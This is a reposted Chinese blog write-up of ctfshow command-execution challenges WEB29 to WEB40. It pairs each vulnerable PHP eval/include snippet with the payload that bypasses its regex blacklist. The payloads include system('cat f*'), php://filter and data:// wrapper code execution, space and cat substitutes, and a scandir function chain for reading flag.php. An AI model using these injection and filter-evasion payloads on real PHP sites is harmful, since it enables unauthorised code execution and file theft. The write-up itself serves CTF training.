ctfshow命令执行


做题前先看看
命令执行小技巧
命令执行绕过总结

WEB29


error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

方法一:
模糊搜索
payload:?c=system(‘cat f*’);
解法二:
在这里插入图片描述
了解 eval函数之后

传入
c=echo “npfs”;?>ctf <?php system(‘ls’);
可以看到有 flag.php文件,之后采用include进行包含读取
payload:

?c=echo “npfs”; ?>ctf <?php include($_GET[‘url’]);&url=php://filter/read=convert.base64-encode/resource=flag.php

WEB30

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

解法一:

pyaload: ?c=echo cat f*;
pyaload: ?c=echo nl f*;

类似cat的还有:

more,less,nl,tail

解法二:

payload:
?c=echo "npfs "; include($_GET[‘url’]); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

WEB31

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

本题过滤了flag,sytem,php,cat,sort shell,.,空格,’

当cat被过滤后可以使用以下命令替代

(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
(13)sed:一种编辑器,这个也可以查看

当空格被过滤后可以使用以下命令替代
%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFSIFS%09(tab)、< 、<>、%20(space)
payload:

?c=echonl%09f*;

web32

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    
    
        eval($c);
    }  
}else{
    
    
    highlight_file(__FILE__);
}

在前面基础上又过滤了括号

使用include"$_POST[1]"?加上post传递参数利用伪协议实现绕过

paylaod

?c=include"$_POST[1]"?>
1=php://filter/read=convert.base64-encode/resource=flag.php
1
2
当然使用GET传参也能得到相同效果

payload

?c=include$_GET[“a”]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1
传递后得到一串base64编码,解码后得到flag

flag:flag{cc9b544f-8f19-48b6-b867-b9837304f780}

WEB33

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

这题在前面的基础上增加了空格,双引号的过滤。
pyaload:

?c=include%09$GET[]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

WEB34

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

多过滤了:
和上个payload一样。

WEB35

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

多过滤了等号
payload:

?c=include%09$GET[]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

WEB36

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

这里多过滤了0到九
payload:

?c=include%09$GET[]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

WEB37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        include($c);
        echo $flag;
    }      
}else{
    
    
    highlight_file(__FILE__);
}

这里已经给出了include,直接伪协议。(注意要用双引号,因为题目用单引号)
payload:

data:text/plain,<?php system("cat f*")?>

WEB38

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
    
    
        include($c);
        echo $flag;
    
    }
        
}else{
    
    
    highlight_file(__FILE__);
}

增加了php的过滤
payload:

?c=data://text,plain,baser64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs/Pg==

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        include($c.".php");
    }
        
}else{
    
    
    highlight_file(__FILE__);
}

这里多了一个.php
然后我们直接用伪协议

payload:data:text/plain,<?php system('cat f*')?>

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40


if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    
    
        eval($c);
    }
        
}else{
    
    
    highlight_file(__FILE__);
}

基本上数字和必要的符号都被过滤了。
这里可以构造无参数函数进行文件读取。
无参数文件读取.
payload:

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

c=session_start();system(session_id());
passid=ls

猜你喜欢

转载自blog.csdn.net/qq_45951598/article/details/113716712